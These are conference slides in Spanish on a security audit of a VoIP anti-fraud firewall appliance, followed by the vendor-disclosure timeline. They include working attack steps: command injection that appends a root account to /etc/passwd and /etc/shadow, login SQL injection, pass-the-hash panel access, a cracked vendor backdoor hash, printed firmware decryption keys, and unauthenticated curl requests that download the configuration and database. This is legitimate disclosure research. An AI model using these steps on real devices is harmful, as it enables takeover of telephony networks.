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Sobre mi

▪ Ingeniero Técnico de Sistemas Informáticos por la U.A. 
▪ Master en Desarrollo y Programación de Apps y 

Servicios Web 
▪ CTO en Zoonsuite (operador de VoIP) 
▪ Ponente en diferentes congresos nacionales 
▪ Autor del libro Hacking y Seguridad VoIP (de 0xWORD)
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eMail: verdeguer@zoonsuite.com 
Linkedin: https://www.linkedin.com/in/pepelux 
Twitter: @pepeluxx



¿ De qué va esta charla ?
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VoIP
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Problemas de la VoIP

¿Es lo mismo si nos atacan un sistema de VoIP que si 
nos atacan una web, un servidor de correo, o cualquier 

otro servicio?  

¿Son las mismas consecuencias?
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Problemas de la VoIP

Alguien que ataca una web lo suele hacer por: 

▪ Simple diversión 

▪ Motivos políticos 

▪ Elevar su ego 

▪ Robo de información
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Problemas de la VoIP

Alguien que ataca un sistema de VoIP lo hace por: 

▪ Motivos económicos 

▪ $$$$$ 

▪ = grandes pérdidas  
en poco tiempo
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Fraude telefónico
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Soluciones

Una buena administración, ¿es suficiente?
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▪ Se debe tener siempre los sistemas actualizados 
▪ Pero, no es tan sencillo

▪ Posiblemente tenemos que proteger diferentes servicios 
▪ PBX, Proxy, Web, TFTP, BBDD, Radius, Billing, etc

▪ Cada día aparecen nuevas técnicas de ataque, 
nuevos fallos, …

▪ Una buena solución es un firewall: 
▪ Que nos ofrezca seguridad en la red 
▪ Que además ‘sepa’ de VoIP



Agenda

Análisis de un dispositivo para evitar el fraude en VoIP 

▪ Funcionalidad 

▪ Seguridad del propio aparato 

▪ Respuesta por parte del fabricante
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Características

▪ Análisis de paquetes SIP basándose en reglas de Snort. 
▪ Anomalías en el protocolo SIP. 
▪ Ataques de fingerprinting, enumeración de usuarios y crackeo 

de contraseñas. 
▪ Protección ante diferentes tipos de ataques: 

▪ Dos/DDos. 
▪ CSS. 
▪ Buffer overflow. 
▪ Vulnerabilidades conocidas. 

▪ Detección de fraude. 
▪ SPIT o spam telefónico y war dialing. 
▪ Posee listas negras dinámicas, listas blancas y reglas de 

firewall. 
▪ Geolocalización.

11



Características
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Características
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Características
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Características
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Análisis del dispositivo

¿Cómo analizamos la seguridad de un dispositivo físico?

▪ Teniendo acceso al Firmware 
▪ Si podemos descomprimirlo … 
▪ … tendremos acceso a todo el sistema 

▪ Problemas: 
▪ Pocos fabricantes ponen el firmware en la web 
▪ Suele venir cifrado
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Análisis del dispositivo

¿Cómo analizamos la seguridad de un dispositivo físico?

▪ Accediendo a los paneles de administración 
▪ Web 
▪ SSH 
▪ Telnet

▪ Problemas: 
▪ Análisis a ciegas
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Análisis del dispositivo

¿Cómo analizamos la seguridad de un dispositivo físico?

▪ Mediante puertos habilitados para la administración 
▪ Puertos de consola (si hay) 
▪ UART, JTAG, etc

▪ Problemas: 
▪ Si no hay puerto de consola … 
▪ … tenemos que abrirlo = pérdida de garantía 
▪ Es posible que tengamos que soldar
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• No tenemos acceso al firmware completo. 

• Podemos descargar actualizaciones desde la web 

del fabricante. 

• Vienen cifradas y no podemos meterle mano.

Firmware

Por defecto, accesible desde las dos interfaces
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Para testearlo usaremos:

• Un switch para crear una red local

• Un Asterisk en una Raspberry PI

• El dispositivo de seguridad :)

• Un portátil desde donde lanzaremos los ataques

Herramientas
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Analizando la funcionalidad
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Funcionalidad (Panel web)

Muy sencillo de gestionar
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Funcionalidad (Panel web)

Por defecto, accesible desde las dos interfaces
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Funcionalidad (Panel web)

Ya de entrada, no inspira mucha confianza
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Funcionalidad (Panel web)

Ya de entrada, no inspira mucha confianza
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• Programa de comandos 

• Exit

Funcionalidad (Acceso SSH)
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• svmap.py: localizar dispositivos y fingerprinting

• svwar.py: enumerar extensiones

• svcrack.py: crackear contraseñas por fuerza bruta

• svcrash.py: bloquear ataques de SIPVicious

• svreport.py: elaborar informes

Funcionalidad (SIPVicious)
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Funcionalidad (SIPVicious)
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Funcionalidad (SIPVicious)
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Funcionalidad (SIPVicious)
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Funcionalidad (INVITE attack)
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•Análisis de paquetes SIP basándose en reglas de Snort. 

•Anomalías en el protocolo SIP. 

•Ataques de fingerprinting, enumeración de usuarios y crackeo de contraseñas. 

•Protección ante diferentes tipos de ataques: 

•Dos/DDos. 

•CSS. 

•Buffer overflow. 

•Vulnerabilidades conocidas. 

•Detección de fraude. 

•SPIT o spam telefónico y war dialing. 

•Posee listas negras dinámicas, listas blancas y reglas de firewall. 

•Geolocalización.

???

Características
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Analizando la seguridad
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¿Ejecutará la aplicación comandos propios o del sistema?

Análisis: SSH
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Análisis: SSH
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Análisis: SSH
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¿Estarán bien filtradas las llamadas al sistema?

Análisis: Panel Web
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Análisis: Panel Web
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Repetimos el mismo proceso para sacar un listado de ficheros:

• ls / -R > /tmp/salida

• Ruta web: /home/stm/www/htdocs/shield/

• Redirigimos la salida a una ruta accesible vía web 

• Leemos de forma más fácil con un GET

Análisis: Panel Web
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Análisis: Panel Web
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Cabe la posibilidad de que el SSH no esté activo

O que no sepamos la contraseña de acceso

$ ./stm.sh  "echo 'pepelux:x:0:0:root:/root:/bin/sh'>>/etc/passwd" 0

$ ./stm.sh  "echo 'pepelux:\$1\$iZkveuzd\$KV.232Z0uQ1TqNQxGiMne.:

10933:0:99999:7:::'>>/etc/shadow" 0 (pass 123456)

Análisis: Panel Web
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Si no tenemos acceso por SSH
Podemos compilar netcat para MIPS (en este caso Little Endian)

• Toolchains para MIPS LE:
http://download1.dd-wrt.com/dd-wrtv2/downloads/toolchains/

toolchains.tar.xz

• Versión simplificada de Netcat:
http://download.savannah.gnu.org/releases/netkitty/nk-1.9.tar.gz

• Compilando la aplicación:

$ mipsel-linux-uclibc-gcc -static -o nk-mips nk.c

Análisis: Panel Web

http://download1.dd-wrt.com/dd-wrtv2/downloads/toolchains/toolchains.tar.xz
http://download1.dd-wrt.com/dd-wrtv2/downloads/toolchains/toolchains.tar.xz
http://download.savannah.gnu.org/releases/netkitty/nk-1.9.tar.gz
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Si no tenemos acceso por SSH

Análisis: Panel Web
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SQL Injection al autenticar el usuario

SQL Injection en UNAME

Análisis: Panel Web
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Análisis del fichero de autenticación
• View/login.php

• include(“../Control/web_users.php”);

Una BBDD en SQLite accesible desde la URL … tendrá un .htaccess, ¿no?

• Control/web_users.php
• include(“../Model/db_mgr.php”);

• Model/db_mgr.php
• private static $DB_FILE_ACTIVE = "../DB/stm.db";

Análisis: Panel Web
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BBDD en SQLite

Análisis: Panel Web
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Análisis del código PHP

Compara el password en MD5 de la BBDD  
con el password MD5 ya generado ¿WTF?

Análisis: Panel Web
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Análisis: Panel Web
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Si nos encontramos con un aparato de estos

Recapitulando …

• Descargamos la BBDD con un GET

• Accedemos al panel con el MD5

• Ya tenemos inyección de comandos

• Nos creamos nuestro propio usuario

• Eliminamos el .profile

• Accedemos por SSH

• Tenemos una bonita shell como root
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Análisis: Otros servicios
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Análisis: Otros servicios
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Espera entrada de datos

¿ Primer valor == set ?

Imprime datos de br0: 

• IP 
• Netmask 
• MAC address

Setea interfaz br0: 

• IP 
• Netmask 
• MAC address

Espera: IP|Netmask|MAC

No
Sí

Análisis: Otros servicios
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•Análisis de paquetes SIP basándose en reglas de Snort. 

•Anomalías en el protocolo SIP. 

•Ataques de fingerprinting, enumeración de usuarios y crackeo de contraseñas. 

•Protección ante diferentes tipos de ataques: 

•Dos/DDos. 

•CSS. 

•Buffer overflow. 

•Vulnerabilidades conocidas. 

•Detección de fraude. 

•SPIT o spam telefónico y war dialing. 

•Posee listas negras dinámicas, listas blancas y reglas de firewall. 

•Geolocalización.

???

Características
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Analizar el maincli

¿ Qué más podemos hacer ?
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mmm … ¿una backdoor sólo conocida por el fabricante?

¿ Qué más podemos hacer ?
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mmm … ¿una backdoor sólo conocida por el fabricante?

¿ Qué más podemos hacer ?
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mmm … ¿una backdoor sólo conocida por el fabricante?

sha1 (sin salt): 81f7d39814fd68035fd07f1c74999bbd34af0237

¿ Qué más podemos hacer ?

Con las Rainbow Tables y un par de minutos más tarde …
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mmm … ¿una backdoor sólo conocida por el fabricante?

¿ Qué más podemos hacer ?
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Ver cómo descifra el firmware

$ openssl enc -aes-256-cbc -d -salt 
-S 3259545633584c4e32594c524c4456394d434b43000a
-K 325959465859484232594656564d573833584c4a4742485632434b55000a 
-iv 3176302e000 -in stm_update.bin -out stm_update2.bin

¿ Qué más podemos hacer ?



60

Aviso al fabricante
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Aviso al fabricante

Mediados de Julio: 

• Envío todos los fallos descubiertos. 

• Le sugiero que contrate una auditoría urgentemente con 

una empresa especializada. 

Respuesta rápida por parte del fabricante: 

• Muchas gracias por el aviso. 

• Nos vamos a centrar en solucionarlo.
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Aviso al fabricante

Finales de Agosto (mail del fabricante): 

• Lo hemos solucionado todo. 

• Te vamos a mandar un dispositivo nuevo con la versión 2.0. 

• Esperamos el feedback por tu parte.

¿ Realmente no se pueden permitir pagar una auditoría ?
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Aviso al fabricante

Finales de Septiembre: 

• Me llega el dispositivo desde La India.

Principales cambios: 

• Nueva caja más compacta. 

• Cambio de MIPS a ARM. 

• Distribución Debian con ¿¿ SID ??
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Aviso al fabricante

Tras recibir el aparato nuevo: 

• Lo conecto a la red, accedo a la web. 

• Y 10 min más tarde le envío esto al fabricante:

Le vuelvo a sugerir que contrate una auditoría. 

• No están por la labor. 

• Lo único que quieren es que les diga cómo entré.
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Problemas

Mismo sitio, diferente parámetro
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En este caso conozco la contraseña del panel

Los fallos que les comenté están solucionados: 
• Ya no puedo descargar la BBDD con un GET 
• Ya no puedo inyectar en el login

Podemos descargar un backup de la BBDD cifrada: 
• curl --insecure https://192.168.1.222/View/download.php?id=db    

Problemas

Pero el fichero PHP del panel que descarga la configuración del usuario (la BBDD 
cifrada) no comprueba la variable de sesión

https://192.168.1.222/View/download.php?id=db
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Configuración del usuario

Problemas
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Más ficheros que no verifican la variable de sesión
El panel sólo permite un usuario activo. Si se autentica correctamente un segundo 
usuario, echa al primero.

Podemos echar al usuario activo sin autenticarnos: 
• curl --insecure -d “config=Continue” https://192.168.1.222/View/login_multi_attempt.php    

• También hay otras partes del panel que no verifican la sesión:

Podemos descargar toda la configuración del sistema: 
• curl --insecure https://192.168.1.222/View/download.php?id=diagnostics    

O descargar las alertas detectadas por el dispositivo: 
• curl --insecure https://192.168.1.222/View/download.php?id=alert    

Problemas

https://192.168.1.222/View/login_multi_attempt.php
https://192.168.1.222/View/download.php?id=diagnostics
https://192.168.1.222/View/download.php?id=alert
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¿ Qué ocurre si inyectamos código en el hostname ?

•El dispositivo entra en un bucle de reinicios.

•¡¡ Tuve que reflashearlo !!

Problemas
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Y lo peor de todo …

•Han desarrollado una nueva versión 2.0 

•Está basada en arquitectura ARM.

Pero, ¿ qué hay de los clientes que tiene la versión 1.0 basada en 

arquitectura MIPS ? ¿va a haber nuevo firmware o hay que 

comprar un nuevo dispositivo?

Problemas
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Muchas veces surgen buenas ideas con buenas intenciones

•Es importante analizar no sólo la funcionalidad y la usabilidad. 

•Sino también la seguridad del propio dispositivo.

En este caso, un dispositivo que debe bloquear ataques hacia nuestra PBX 

•Permite que se nos cuelen en nuestra red: 

•Acceso a todo el sistema. 

•Ya no hay firewall de por medio. 

•Monitorización de tráfico.

Conclusión



Gracias por 
 su atención


